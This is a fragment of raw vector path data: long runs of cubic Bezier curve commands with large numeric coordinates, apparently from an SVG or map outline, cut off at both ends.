114079.00C104270.58 114080.36 104284.53 114076.29 104293.00 114081.03C104303.33 114102.02 104313.67 114123.01 104324.00 114144.00C104333.52 114144.67 104349.50 114142.66 104355.00 114145.00C104344.67 114155.33 104334.33 114165.67 104324.00 114176.00C104345.33 114197.33 104366.67 114218.67 104388.00 114240.00C104377.33 114250.67 104366.67 114261.33 104356.00 114272.00C104366.67 114293.67 104377.33 114315.33 104388.00 114337.00C104409.67 114358.33 104431.33 114379.67 104453.00 114401.00C104454.01 114412.71 104450.89 114425.34 104454.73 114436.46C104464.82 114456.64 104474.91 114476.82 104485.00 114497.00C104474.33 114550.67 104463.67 114604.33 104453.00 114658.00C104474.33 114679.33 104495.67 114700.67 104517.00 114722.00C104518.80 114733.67 104513.28 114748.37 104520.00 114758.00C104529.67 114767.67 104539.33 114777.33 104549.00 114787.00C104538.33 114819.00 104527.67 114851.00 104517.00 114883.00C104570.67 114915.33 104624.33 114947.67 104678.00 114980.00C104699.33 115022.67 104720.67 115065.33 104742.00 115108.00C104752.78 115119.26 104764.65 115129.67 104774.74 115141.49C104785.15 115162.66 104795.58 115183.83 104806.00 115205.00C104806.00 115301.33 104806.00 115397.67 104806.00 115494.00C104645.33 115494.00 104484.67 115494.00 104324.00 115494.00C104292.00 115483.33 104260.00 115472.67 104228.00 115462.00C104217.00 115440.67 104206.00 115419.33 104195.00 115398.00C104182.46 115396.71 104168.61 115400.97 104157.09 115395.06C104116.39 115374.98 104076.05 115354.12 104035.65 115333.51C104023.78 115331.66 104011.19 115334.73 103999.46 115331.83C103967.60 115321.53 103935.96 115310.45 103903.97 115300.66C103840.31 115290.11 103776.65 115279.56 103713.00 115269.00C103670.33 115279.67 103627.67 115290.33 103585.00 115301.00C103574.00 115311.67 103563.00 115322.33 103552.00 115333.00C103539.73 115332.16 103526.89 115334.85 103515.01 115331.34C103484.68 115321.23 103454.34 115311.11 103424.00 115301.00C103391.67 115311.67 103359.33 115322.33 103327.00 115333.00C103295.00 115311.67 103263.00 115290.33 103231.00 115269.00C103220.97 115267.70 103205.71 115271.62 103199.00 115267.00C103198.33 115258.14 103200.34 115242.83 103198.00 115238.00C103187.67 115248.33 103177.33 115258.67 103167.00 115269.00C103156.00 115247.67 103145.00 115226.33 103134.00 115205.00C103132.70 115215.03 103136.62 115230.29 103132.00 115237.00C103122.63 115235.70 103108.05 115239.62 103102.00 115235.00C103101.33 115226.14 103103.34 115210.83 103101.00 115206.00C103090.67 115216.33 103080.33 115226.67 103070.00 115237.00C103069.33 115227.48 103071.34 115211.50 103069.00 115206.00C103058.67 115216.33 103048.33 115226.67 103038.00 115237.00C103037.33 115246.52 103039.34 115262.50 103037.00 115268.00C103026.67 115257.67 103016.33 115247.33 103006.00 115237.00C103004.70 115247.03 103008.62 115262.29 103004.00 115269.00C102994.50 115270.01 102980.97 115266.98 102974.00 115270.52C102974.00 115302.34 102974.00 115334.17 102974.00 115366.00C102962.88 115377.26 102950.68 115387.64 102940.26 115399.47C102929.84 115420.31 102919.43 115441.16 102909.00 115462.00C102897.65 115463.77 102883.31 115458.31 102874.00 115465.00C102864.33 115474.67 102854.67 115484.33 102845.00 115494.00C102823.56 115483.16 102801.93 115472.71 102780.62 115461.62C102770.08 115451.08 102759.54 115440.54 102749.00 115430.00C102737.33 115428.20 102722.63 115433.72 102713.00 115427.00C102703.33 115417.33 102693.67 115407.67 102684.00 115398.00C102662.67 115398.00 102641.33 115398.00 102620.00 115398.00C102598.67 115387.33 102577.33 115376.67 102556.00 115366.00C102534.33 115366.00 102512.67 115366.00 102491.00 115366.00C102491.00 115344.33 102491.00 115322.67 102491.00 115301.00C102479.65 115302.77 102465.31 115297.31 102456.00 115304.00C102446.33 115313.67 102436.67 115323.33 102427.00 115333.00C102405.67 115333.00 102384.33 115333.00 102363.00 115333.00C102361.99 115322.53 102365.02 115309.15 102361.48 115300.50C102329.66 115290.00 102297.83 115279.50 102266.00 115269.00C102255.33 115247.67 102244.67 115226.33 102234.00 115205.00C102232.70 115194.97 102236.62 115179.71 102232.00 115173.00C102211.33 115173.00 102190.67 115173.00 102170.00 115173.00C102169.33 115182.52 102171.34 115198.50 102169.00 115204.00C102158.67 115193.67 102148.33 115183.33 102138.00 115173.00C102095.00 115173.00 102052.00 115173.00 102009.00 115173.00C102007.06 115183.60 102012.93 115199.00 102005.98 115206.52C101985.54 115216.82 101964.93 115226.81 101944.62 115237.38C101923.34 115258.85 101901.79 115280.04 101880.00 115301.00C101869.33 115322.67 101858.67 115344.33 101848.00 115366.00C101837.33 115344.33 101826.67 115322.67 101816.00 115301.00C101794.67 115301.00 101773.33 115301.00 101752.00 115301.00C101750.70 115290.97 101754.62 115275.71 101750.00 115269.00C101738.96 115271.04 101724.38 115264.55 101716.00 115273.00C101706.67 115282.33 101697.33 115291.67 101688.00 115301.00C101677.00 115290.33 101666.00 115279.67 101655.00 115269.00C101639.62 115269.30 101623.99 115267.64 101608.97 115271.79C101559.98 115281.53 101510.99 115291.26 101462.00 115301.00C101440.67 115279.67 101419.33 115258.33 101398.00 115237.00C101396.70 115226.97 101400.62 115211.71 101396.00 115205.00C101387.14 115204.33 101371.83 115206.34 101367.00 115204.00C101377.33 115193.67 101387.67 115183.33 101398.00 115173.00C101376.67 115173.00 101355.33 115173.00 101334.00 115173.00C101332.70 115162.64 101336.63 115147.04 101332.00 115140.00C101322.63 115138.71 101308.05 115142.61 101302.00 115138.00C101302.00 115117.33 101302.00 115096.67 101302.00 115076.00C101290.33 115077.80 101275.63 115072.28 101266.00 115079.00C101256.33 115088.67 101246.67 115098.33 101237.00 115108.00C101237.00 115086.67 101237.00 115065.33 101237.00 115044.00C101226.33 115033.33 101215.67 115022.67 101205.00 115012.00C101194.97 115010.70 101179.71 115014.62 101173.00 115010.00C101171.70 115000.63 101175.62 114986.05 101171.00 114980.00C101161.64 114978.67 101146.94 114982.69 101141.00 114977.94C101140.33 114968.80 101142.34 114953.05 101140.00 114948.03C101129.67 114958.69 101119.33 114969.35 101109.00 114980.00C101107.20 114968.33 101112.72 114953.63 101106.00 114944.00C101096.33 114934.33 101086.67 114924.67 101077.00 114915.00C101055.33 114925.67 101033.67 114936.33 101012.00 114947.00C101012.00 114925.67 101012.00 114904.33 101012.00 114883.00C101002.48 114883.67 100986.50 114881.66 100981.00 114884.00C100991.33 114894.33 101001.67 114904.67 101012.00 114915.00C101001.41 114913.07 100986.01 114918.91 100978.50 114912.00C100968.33 114891.67 100958.17 114871.33 100948.00 114851.00C100916.00 114851.00 100884.00 114851.00 100852.00 114851.00C100850.99 114861.16 100854.02 114875.36 100850.48 114883.00C100818.66 114883.00 100786.83 114883.00 100755.00 114883.00C100744.33 114872.33 100733.67 114861.67 100723.00 114851.00C100712.33 114861.67 100701.67 114872.33 100691.00 114883.00C100680.97 114884.30 100665.71 114880.38 100659.00 114885.00C100658.31 114893.85 100660.38 114909.21 100657.97 114914.00C100647.31 114903.67 100636.65 114893.33 100626.00 114883.00C100637.00 114861.67 100648.00 114840.33 100659.00 114819.00C100649.17 114818.33 100632.74 114820.34 100627.03 114818.00C100637.69 114807.67 100648.35 114797.33 100659.00 114787.00C100648.00 114765.33 100637.00 114743.67 100626.00 114722.00C100626.00 114700.67 100626.00 114679.33 100626.00 114658.00C100637.17 114636.56 100647.97 114614.93 100659.38 114593.62C100669.92 114583.08 100680.46 114572.54 100691.00 114562.00C100691.00 114540.33 100691.00 114518.67 100691.00 114497.00C100733.67 114443.67 100776.33 114390.33 100819.00 114337.00C100840.87 114294.10 100862.54 114251.10 100884.00 114208.00C100885.01 114196.28 100881.89 114183.64 100885.73 114172.51C100906.48 114130.67 100927.25 114088.84 100948.00 114047.00C100958.67 114036.33 100969.33 114025.67 100980.00 114015.00C100981.94 114004.40 100976.07 113989.00 100983.02 113981.48C101003.46 113971.18 101024.06 113961.18 101044.38 113950.63C101055.25 113940.08 101066.13 113929.54 101077.00 113919.00C101077.00 113886.67 101077.00 113854.33 101077.00 113822.00C101100.71 113810.53 101123.82 113797.76 101147.96 113787.23C101199.30 113766.82 101250.65 113746.41 101302.00 113726.00C101312.67 113715.33 101323.33 113704.67 101334.00 113694.00C101419.67 113694.00 101505.33 113694.00 101591.00 113694.00C101612.33 113672.33 101633.67 113650.67 101655.00 113629.00C101676.67 113639.67 101698.33 113650.33 101720.00 113661.00C101741.33 113650.33 101762.67 113639.67 101784.00 113629.00C101794.67 113629.00 101805.33 113629.00 101816.00 113629.00C101848.33 112964.67 101880.67 112300.33 101913.00 111636.00C101891.33 111625.33 101869.67 111614.67 101848.00 111604.00C101848.00 111582.33 101848.00 111560.67 101848.00 111539.00C101826.67 111528.33 101805.33 111517.67 101784.00 111507.00C101741.00 111517.67 101698.00 111528.33 101655.00 111539.00C101633.67 111560.67 101612.33 111582.33 101591.00 111604.00C101569.67 111604.00 101548.33 111604.00 101527.00 111604.00C101527.00 111625.33 101527.00 111646.67 101527.00 111668.00C101515.91 111679.56 101503.79 111690.23 101493.39 111702.39C101472.27 111733.93 101451.13 111765.46 101430.00 111797.00C101398.00 111797.00 101366.00 111797.00 101334.00 111797.00C101312.33 111807.67 101290.67 111818.33 101269.00 111829.00C101258.33 111861.00 101247.67 111893.00 101237.00 111925.00C101226.33 111935.67 101215.67 111946.33 101205.00 111957.00C101194.33 111989.33 101183.67 112021.67 101173.00 112054.00C101183.67 112086.00 101194.33 112118.00 101205.00 112150.00C101140.67 112171.33 101076.33 112192.67 101012.00 112214.00C101001.20 112225.58 100989.40 112236.39 100979.26 112248.48C100968.68 112269.43 100958.46 112290.56 100947.62 112311.38C100848.34 112410.46 100749.46 112509.95 100649.91 112608.76C100641.83 112616.62 100633.88 112624.63 100625.49 112632.17C100593.66 112643.12 100561.83 112654.06 100530.00 112665.00C100528.70 112675.03 100532.62 112690.29 100528.00 112697.00C100516.96 112699.04 100502.38 112692.55 100494.00 112701.00C100484.67 112710.33 100475.33 112719.67 100466.00 112729.00C100455.00 112718.33 100444.00 112707.67 100433.00 112697.00C100417.98 112697.52 100402.54 112695.15 100388.06 112700.24C100349.71 112709.83 100311.35 112719.41 100273.00 112729.00C100251.54 112772.10 100229.87 112815.10 100208.00 112858.00C100197.97 112859.30 100182.71 112855.38 100176.00 112860.00C100175.33 112868.86 100177.34 112884.17 100175.00 112889.00C100164.67 112878.67 100154.33 112868.33 100144.00 112858.00C100144.00 112900.67 100144.00 112943.33 100144.00 112986.00C100154.01 112987.32 100169.37 112983.34 100175.98 112988.03C100174.89 112999.40 100178.49 113011.90 100173.78 113022.51C100163.86 113042.68 100153.93 113062.84 100144.00 113083.00C100144.00 113115.00 100144.00 113147.00 100144.00 113179.00C100112.00 113211.33 100080.00 113243.67 100048.00 113276.00C100046.99 113287.71 100050.11 113300.34 100046.27 113311.46C100036.18 113331.64 100026.09 113351.82 100016.00 113372.00C100026.67 113382.67 100037.33 113393.33 100048.00 113404.00C100037.33 113414.67 100026.67 113425.33 100016.00 113436.00C99994.34 113425.33 99972.66 113414.67 99951.00 113404.00C99929.67 113404.00 99908.33 113404.00 99887.00 113404.00C99876.34 113414.67 99865.66 113425.33 99855.00 113436.00C99855.00 113427.27 99855.00 113408.09 99855.00 113406.00C99854.33 113414.86 99856.34 113430.17 99854.00 113435.00C99843.67 113424.67 99833.33 113414.33 99823.00 113404.00C99801.34 113414.67 99779.66 113425.33 99758.00 113436.00C99747.33 113414.67 99736.67 113393.33 99726.00 113372.00C99715.34 113382.67 99704.66 113393.33 99694.00 113404.00C99683.34 113393.33 99672.66 113382.67 99662.00 113372.00C99640.33 113372.00 99618.67 113372.00 99597.00 113372.00C99586.34 113361.33 99575.66 113350.67 99565.00 113340.00C99543.57 113350.84 99521.93 113361.29 99500.62 113372.38C99490.08 113382.92 99479.54 113393.46 99469.00 113404.00C99457.65 113405.77 99443.31 113400.31 99434.00 113407.00C99424.33 113416.67 99414.66 113426.33 99405.00 113436.00C99383.33 113436.00 99361.67 113436.00 99340.00 113436.00C99329.34 113446.67 99318.66 113457.33 99308.00 113468.00C99286.67 113468.00 99265.33 113468.00 99244.00 113468.00C99233.33 113489.67 99222.67 113511.33 99212.00 113533.00C99190.23 113543.84 99168.26 113554.28 99146.62 113565.38C99136.08 113575.92 99125.54 113586.46 99115.00 113597.00C99083.00 113597.00 99051.00 113597.00 99019.00 113597.00C99008.34 113607.67 98997.66 113618.33 98987.00 113629.00C98933.33 113629.00 98879.67 113629.00 98826.00 113629.00C98804.67 113618.33 98783.33 113607.67 98762.00 113597.00C98751.64 113595.70 98736.04 113599.63 98729.00 113595.00C98729.00 113585.00 98729.00 113575.00 98729.00 113565.00C98728.01 113574.42 98731.00 113591.27 98727.48 113595.99C98694.95 113574.61 98662.96 113552.34 98630.07 113531.53C98609.72 113521.35 98589.36 113511.18 98569.00 113501.00C98579.67 113490.00 98590.33 113479.00 98601.00 113468.00C98611.67 113436.00 98622.33 113404.00 98633.00 113372.00C98622.97 113370.70 98607.71 113374.62 98601.00 113370.00C98599.71 113360.63 98603.62 113346.05 98599.00 113340.00C98590.15 113339.33 98574.83 113341.34 98570.00 113339.00C98580.33 113328.67 98590.67 113318.33 98601.00 113308.00C98590.34 113297.33 98579.66 113286.67 98569.00 113276.00C98569.00 113254.33 98569.00 113232.67 98569.00 113211.00C98579.66 113221.67 98590.34 113232.33 98601.00 113243.00C98601.00 113221.67 98601.00 113200.33 98601.00 113179.00C98568.67 113168.33 98536.33 113157.67 98504.00 113147.00C98482.66 113125.67 98461.34 113104.33 98440.00 113083.00C98438.21 113071.33 98443.72 113056.63 98437.00 113047.00C98427.33 113037.33 98417.66 113027.67 98408.00 113018.00C98397.34 113028.67 98386.66 113039.33 98376.00 113050.00C98365.34 113039.33 98354.66 113028.67 98344.00 113018.00C98290.33 113007.33 98236.67 112996.67 98183.00 112986.00C98172.33 112964.67 98161.67 112943.33 98151.00 112922.00C98149.70 112911.97 98153.62 112896.71 98149.00 112890.00C98139.73 112889.31 98126.05 112891.37 98119.50 112888.98C98130.00 112867.66 98140.50 112846.33 98151.00 112825.00C98140.97 112823.70 98125.71 112827.62 98119.00 112823.00C98117.65 112813.63 98121.72 112798.91 98116.91 112792.98C98105.25 112791.85 98092.43 112795.54 98081.55 112790.77C98061.70 112780.85 98041.85 112770.93 98022.00 112761.00C97990.00 112761.00 97958.00 112761.00 97926.00 112761.00C97915.00 112750.33 97904.00 112739.67 97893.00 112729.00C97881.00 112730.56 97867.04 112725.61 97856.50 112732.00C97826.00 112752.33 97795.50 112772.67 97765.00 112793.00C97754.33 112771.67 97743.67 112750.33 97733.00 112729.00C97722.00 112739.67 97711.00 112750.33 97700.00 112761.00C97698.07 112750.41 97703.91 112735.01 97697.00 112727.50C97676.67 112717.33 97656.33 112707.17 97636.00 112697.00C97624.74 112707.79 97614.32 112719.64 97602.51 112729.74C97559.83 112750.86 97517.23 112772.16 97474.49 112793.17C97442.66 112803.78 97410.83 112814.39 97379.00 112825.00C97357.67 112814.33 97336.33 112803.67 97315.00 112793.00C97303.74 112803.79 97293.31 112815.63 97281.51 112825.75C97260.34 112836.50 97239.17 112847.25 97218.00 112858.00C97207.97 112859.30 97192.71 112855.38 97186.00 112860.00C97185.32 112869.27 97187.35 112882.95 97185.00 112889.49C97163.89 112878.83 97142.59 112868.55 97121.63 112857.62C97111.09 112846.74 97100.54 112835.87 97090.00 112825.00C97090.00 112846.67 97090.00 112868.33 97090.00 112890.00C97068.34 112900.67 97046.66 112911.33 97025.00 112922.00C97003.50 112922.11 96981.99 112921.78 96960.49 112922.17C96928.33 112932.78 96896.16 112943.39 96864.00 112954.00C96853.33 112975.33 96842.67 112996.67 96832.00 113018.00C96831.00 113029.73 96834.10 113042.36 96830.27 113053.51C96820.18 113074.00 96810.09 113094.50 96800.00 113115.00C96809.52 113115.67 96825.50 113113.66 96831.00 113116.00C96820.67 113126.33 96810.33 113136.67 96800.00 113147.00C96799.00 113157.17 96802.00 113171.33 96798.50 113179.00C96767.00 113179.00 96735.50 113179.00 96704.00 113179.00C96682.33 113200.33 96660.67 113221.67 96639.00 113243.00C96627.66 113244.79 96613.25 113239.26 96604.00 113246.05C96583.67 113266.70 96563.33 113287.35 96543.00 113308.00C96532.97 113309.30 96517.71 113305.38 96511.00 113310.00C96511.00 113330.67 96511.00 113351.33 96511.00 113372.00C96478.67 113382.67 96446.33 113393.33 96414.00 113404.00C96402.29 113405.01 96389.66 113401.89 96378.54 113405.73C96358.36 113415.82 96338.18 113425.91 96318.00 113436.00C96285.67 113425.33 96253.33 113414.67 96221.00 113404.00C96199.67 113414.67 96178.33 113425.33 96157.00 113436.00C96146.33 113414.67 96135.67 113393.33 96125.00 113372.00C96060.67 113372.00 95996.33 113372.00 95932.00 113372.00C95921.34 113382.67 95910.66 113393.33 95900.00 113404.00C95878.67 113404.00 95857.33 113404.00 95836.00 113404.00C95835.31 113413.52 95837.38 113429.55 95834.97 113435.00C95824.31 113424.67 95813.65 113414.33 95803.00 113404.00C95792.33 113425.33 95781.67 113446.67 95771.00 113468.00C95760.34 113457.33 95749.66 113446.67 95739.00 113436.00C95728.33 113457.67 95717.67 113479.33 95707.00 113501.00C95706.32 113510.52 95708.36 113526.54 95705.98 113532.00C95695.09 113521.51 95684.96 113510.06 95673.53 113500.24C95652.68 113489.50 95631.84 113478.75 95611.00 113468.00C95610.31 113477.82 95612.38 113494.30 95609.97 113499.97C95599.31 113489.31 95588.66 113478.66 95578.00 113468.00C95576.70 113478.36 95580.63 113493.96 95576.00 113501.00C95566.63 113502.30 95552.05 113498.38 95546.00 113503.00C95546.00 113513.00 95546.00 113523.00 95546.00 113533.00C95545.33 113523.48 95547.34 113507.50 95545.00 113502.00C95534.67 113512.33 95524.33 113522.67 95514.00 113533.00C95492.67 113533.00 95471.33 113533.00 95450.00 113533.00C95450.00 113524.27 95450.00 113505.09 95450.00 113503.00C95448.99 113512.50 95452.02 113526.03 95448.48 113533.00C95416.66 113533.00 95384.83 113533.00 95353.00 113533.00C95331.40 113511.59 95310.08 113489.92 95289.00 113468.00C95288.33 113477.83 95290.34 113494.26 95288.00 113499.97C95277.67 113489.31 95267.33 113478.66 95257.00 113468.00C95246.33 113479.00 95235.67 113490.00 95225.00 113501.00C95214.33 113490.00 95203.67 113479.00 95193.00 113468.00C95192.31 113477.82 95194.38 113494.30 95191.97 113499.97C95181.31 113489.31 95170.66 113478.66 95160.00 113468.00C95149.16 113489.77 95138.72 113511.74 95127.62 113533.38C95106.41 113554.59 95085.21 113575.79 95064.00 113597.00C95042.67 113586.33 95021.33 113575.67 95000.00 113565.00C94998.99 113554.84 95002.02 113540.64 94998.48 113533.00C94966.66 113533.00 94934.83 113533.00 94903.00 113533.00C94892.34 113522.33 94881.66 113511.67 94871.00 113501.00C94869.70 113511.03 94873.62 113526.29 94869.00 113533.00C94860.15 113532.33 94844.83 113534.34 94840.00 113532.00C94850.33 113521.67 94860.67 113511.33 94871.00 113501.00C94860.98 113499.67 94845.60 113503.70 94839.00 113498.94C94836.92 113487.60 94843.52 113472.67 94835.00 113464.00C94825.67 113454.67 94816.33 113445.33 94807.00 113436.00C94785.34 113446.67 94763.66 113457.33 94742.00 113468.00C94740.70 113457.97 94744.62 113442.71 94740.00 113436.00C94730.63 113434.70 94716.05 113438.62 94710.00 113434.00C94709.00 113424.50 94712.00 113411.00 94708.50 113404.00C94677.00 113404.00 94645.50 113404.00 94614.00 113404.00C94614.67 113394.48 94612.66 113378.50 94615.00 113373.00C94625.33 113383.33 94635.67 113393.67 94646.00 113404.00C94644.07 113393.41 94649.91 113378.01 94643.00 113370.50C94622.67 113360.33 94602.33 113350.17 94582.00 113340.00C94580.66 113329.98 94584.70 113314.60 94579.94 113308.00C94570.26 113309.30 94555.35 113305.38 94549.00 113310.00C94548.33 113318.86 94550.34 113334.17 94548.00 113339.00C94537.67 113328.67 94527.33 113318.33 94517.00 113308.00C94516.33 113317.52 94518.34 113333.50 94516.00 113339.00C94505.67 113328.67 94495.33 113318.33 94485.00 113308.00C94495.66 113297.33 94506.34 113286.67 94517.00 113276.00C94506.34 113286.67 94495.66 113297.33 94485.00 113308.00C94485.00 113286.33 94485.00 113264.67 94485.00 113243.00C94474.97 113241.70 94459.71 113245.62 94453.00 113241.00C94451.71 113231.63 94455.62 113217.05 94451.00 113211.00C94439.96 113208.96 94425.38 113215.45 94417.00 113207.00C94407.67 113197.67 94398.33 113188.33 94389.00 113179.00C94399.66 113168.33 94410.34 113157.67 94421.00 113147.00C94410.34 113136.33 94399.66 113125.67 94389.00 113115.00C94387.68 113125.03 94391.66 113140.35 94386.97 113147.00C94365.98 113147.00 94344.99 113147.00 94324.00 113147.00C94323.33 113137.48 94325.34 113121.50 94323.00 113116.00C94312.67 113126.33 94302.33 113136.67 94292.00 113147.00C94302.66 113136.33 94313.34 113125.67 94324.00 113115.00C94302.67 113104.33 94281.33 113093.67 94260.00 113083.00C94270.67 113072.00 94281.33 113061.00 94292.00 113050.00C94279.73 113050.88 94266.87 113048.10 94255.02 113051.71C94224.68 113062.14 94194.34 113072.57 94164.00 113083.00C94153.00 113072.00 94142.00 113061.00 94131.00 113050.00C94120.33 113061.00 94109.67 113072.00 94099.00 113083.00C94109.03 113084.30 94124.29 113080.38 94131.00 113085.00C94130.32 113094.28 94132.35 113107.92 94130.00 113114.50C94109.00 113104.00 94088.00 113093.50 94067.00 113083.00C94067.00 113072.00 94067.00 113061.00 94067.00 113050.00C94065.70 113060.36 94069.63 113075.96 94065.00 113083.00C94044.33 113083.00 94023.67 113083.00 94003.00 113083.00C94003.00 113050.67 94003.00 113018.33 94003.00 112986.00C93991.27 112984.99 93978.62 112988.12 93967.48 112984.25C93946.87 112974.03 93926.09 112964.13 93905.62 112953.62C93895.08 112943.08 93884.54 112932.54 93874.00 112922.00C93863.34 112932.67 93852.66 112943.33 93842.00 112954.00C93831.97 112952.70 93816.71 112956.62 93810.00 112952.00C93808.09 112942.07 93813.89 112927.36 93807.00 112920.50C93786.67 112910.33 93766.33 112900.17 93746.00 112890.00C93724.34 112900.67 93702.66 112911.33 93681.00 112922.00C93670.34 112911.33 93659.66 112900.67 93649.00 112890.00C93606.33 112890.00 93563.67 112890.00 93521.00 112890.00C93519.66 112879.98 93523.70 112864.60 93518.94 112858.00C93509.27 112856.66 93494.24 112860.70 93488.00 112855.94C93485.84 112843.69 93493.35 112827.44 93482.00 112819.00C93452.00 112789.00 93422.00 112759.00 93392.00 112729.00C93381.34 112739.67 93370.66 112750.33 93360.00 112761.00C93348.65 112762.77 93334.31 112757.31 93325.00 112764.00C93315.33 112773.67 93305.66 112783.33 93296.00 112793.00C93295.31 112783.48 93297.38 112767.45 93294.97 112762.00C93284.31 112772.33 93273.65 112782.67 93263.00 112793.00C93261.70 112782.97 93265.62 112767.71 93261.00 112761.00C93240.33 112761.00 93219.67 112761.00 93199.00 112761.00C93199.00 112739.67 93199.00 112718.33 93199.00 112697.00C93177.67 112697.00 93156.33 112697.00 93135.00 112697.00C93124.34 112686.33 93113.66 112675.67 93103.00 112665.00C93101.64 112654.09 93105.72 112639.80 93100.97 112631.00C93079.98 112620.66 93058.99 112610.34 93038.00 112600.00C93047.52 112599.33 93063.50 112601.34 93069.00 112599.00C93048.00 112578.00 93027.00 112557.00 93006.00 112536.00C93005.33 112545.52 93007.34 112561.50 93005.00 112567.00C92994.67 112556.67 92984.33 112546.33 92974.00 112536.00C92963.83 112535.00 92949.67 112538.00 92942.00 112534.50C92942.00 112503.00 92942.00 112471.50 92942.00 112440.00C92931.97 112441.30 92916.71 112437.38 92910.00 112442.00C92909.31 112450.85 92911.38 112466.21 92908.97 112471.00C92898.31 112460.67 92887.65 112450.33 92877.00 112440.00C92877.00 112418.33 92877.00 112396.67 92877.00 112375.00C92886.83 112374.33 92903.26 112376.34 92908.97 112374.00C92898.31 112363.67 92887.65 112353.33 92877.00 112343.00C92886.83 112342.33 92903.26 112344.34 92908.97 112342.00C92898.31 112331.67 92887.65 112321.33 92877.00 112311.00C92888.00 112289.67 92899.00 112268.33 92910.00 112247.00C92900.18 112246.31 92883.70 112248.38 92878.03 112245.97C92888.69 112235.31 92899.34 112224.66 92910.00 112214.00C92888.33 112225.00 92866.67 112236.00 92845.00 112247.00C92813.55 112214.12 92781.13 112182.21 92749.00 112150.00C92749.00 112171.33 92749.00 112192.67 92749.00 112214.00C92716.94 112181.72 92684.39 112149.94 92652.00 112118.00C92641.33 112096.67 92630.67 112075.33 92620.00 112054.00C92620.00 112086.00 92620.00 112118.00 92620.00 112150.00C92598.67 112139.33 92577.33 112128.67 92556.00 112118.00C92556.00 112096.67 92556.00 112075.33 92556.00 112054.00C92534.66 112075.33 92513.34 112096.67 92492.00 112118.00C92481.33 112096.67 92470.67 112075.33 92460.00 112054.00C92449.00 112075.33 92438.00 112096.67 92427.00 112118.00C92416.33 112096.67 92405.67 112075.33 92395.00 112054.00C92373.66 112075.33 92352.34 112096.67 92331.00 112118.00C92320.33 112096.67 92309.67 112075.33 92299.00 112054.00C92277.33 112075.33 92255.67 112096.67 92234.00 112118.00C92223.33 112096.67 92212.67 112075.33 92202.00 112054.00C92190.65 112052.23 92176.31 112057.69 92167.00 112051.00C92157.33 112041.33 92147.66 112031.67 92138.00 112022.00C92126.66 112020.19 92112.19 112025.78 92103.00 112018.91C92093.33 112008.94 92083.67 111998.97 92074.00 111989.00C92062.34 111990.84 92047.51 111985.18 92038.00 111992.09C92028.33 112002.06 92018.67 112012.03 92009.00 112022.00C91998.33 112000.33 91987.67 111978.67 91977.00 111957.00C91966.34 111967.67 91955.66 111978.33 91945.00 111989.00C91945.00 112000.00 91945.00 112011.00 91945.00 112022.00C91913.00 111989.67 91881.00 111957.33 91849.00 111925.00C91859.67 111903.67 91870.33 111882.33 91881.00 111861.00C91848.67 111861.00 91816.33 111861.00 91784.00 111861.00C91773.34 111871.67 91762.66 111882.33 91752.00 111893.00C91741.34 111882.33 91730.66 111871.67 91720.00 111861.00C91730.66 111850.33 91741.34 111839.67 91752.00 111829.00C91740.65 111830.77 91726.31 111825.31 91717.00 111832.00C91707.33 111841.67 91697.66 111851.33 91688.00 111861.00C91677.22 111849.74 91665.35 111839.33 91655.27 111827.51C91644.85 111806.34 91634.42 111785.17 91624.00 111764.00C91613.00 111775.00 91602.00 111786.00 91591.00 111797.00C91569.66 111764.67 91548.34 111732.33 91527.00 111700.00C91516.34 111710.67 91505.66 111721.33 91495.00 111732.00C91505.66 111742.67 91516.34 111753.33 91527.00 111764.00C91505.67 111775.00 91484.33 111786.00 91463.00 111797.00C91452.33 111786.00 91441.67 111775.00 91431.00 111764.00C91441.66 111753.33 91452.34 111742.67 91463.00 111732.00C91441.34 111742.67 91419.66 111753.33 91398.00 111764.00C91399.34 111753.98 91395.30 111738.60 91400.06 111732.00C91411.40 111729.92 91426.33 111736.52 91435.00 111728.00C91444.33 111718.67 91453.67 111709.33 91463.00 111700.00C91420.00 111700.00 91377.00 111700.00 91334.00 111700.00C91312.67 111689.33 91291.33 111678.67 91270.00 111668.00C91270.00 111689.33 91270.00 111710.67 91270.00 111732.00C91248.34 111742.67 91226.66 111753.33 91205.00 111764.00C91183.67 111732.00 91162.33 111700.00 91141.00 111668.00C91151.66 111657.33 91162.34 111646.67 91173.00 111636.00C91130.33 111636.00 91087.67 111636.00 91045.00 111636.00C91034.34 111625.33 91023.66 111614.67 91013.00 111604.00C91002.00 111625.33 90991.00 111646.67 90980.00 111668.00C90980.00 111635.67 90980.00 111603.33 90980.00 111571.00C90968.66 111572.81 90954.19 111567.22 90945.00 111574.09C90935.33 111584.06 90925.67 111594.03 90916.00 111604.00C90916.00 111582.33 90916.00 111560.67 90916.00 111539.00C90905.34 111549.67 90894.66 111560.33 90884.00 111571.00C90884.00 111528.33 90884.00 111485.67 90884.00 111443.00C90873.34 111453.67 90862.66 111464.33 90852.00 111475.00C90852.00 111453.67 90852.00 111432.33 90852.00 111411.00C90873.33 111411.00 90894.67 111411.00 90916.00 111411.00C90894.67 111389.33 90873.33 111367.67 90852.00 111346.00C90830.57 111335.16 90808.93 111324.71 90787.62 111313.62C90766.07 111292.42 90744.54 111271.21 90723.00 111250.00C90713.05 111250.67 90698.75 111248.66 90691.50 111251.00C90702.00 111272.00 90712.50 111293.00 90723.00 111314.00C90712.41 111312.07 90697.01 111317.91 90689.50 111311.00C90679.33 111290.67 90669.17 111270.33 90659.00 111250.00C90637.67 111250.00 90616.33 111250.00 90595.00 111250.00C90573.34 111260.67 90551.66 111271.33 90530.00 111282.00C90498.00 111271.33 90466.00 111260.67 90434.00 111250.00C90423.34 111239.33 90412.66 111228.67 90402.00 111218.00C90391.00 111228.67 90380.00 111239.33 90369.00 111250.00C90357.65 111251.77 90343.31 111246.31 90334.00 111253.00C90324.33 111262.67 90314.66 111272.33 90305.00 111282.00C90294.97 111283.30 90279.71 111279.38 90273.00 111284.00C90273.00 111304.67 90273.00 111325.33 90273.00 111346.00C90262.34 111335.33 90251.66 111324.67 90241.00 111314.00C90229.27 111315.00 90216.64 111311.90 90205.49 111315.73C90184.99 111325.81 90164.50 111335.91 90144.00 111346.00C90133.34 111335.33 90122.66 111324.67 90112.00 111314.00C90101.34 111324.67 90090.66 111335.33 90080.00 111346.00C90069.34 111335.33 90058.66 111324.67 90048.00 111314.00C90048.00 111357.00 90048.00 111400.00 90048.00 111443.00C90026.67 111432.33 90005.33 111421.67 89984.00 111411.00C89973.34 111421.67 89962.66 111432.33 89952.00 111443.00C89941.73 111443.67 89927.04 111441.66 89919.52 111444.00C89930.35 111465.00 89941.17 111486.00 89952.00 111507.00C89930.34 111496.33 89908.66 111485.67 89887.00 111475.00C89885.70 111485.03 89889.62 111500.29 89885.00 111507.00C89864.33 111507.00 89843.67 111507.00 89823.00 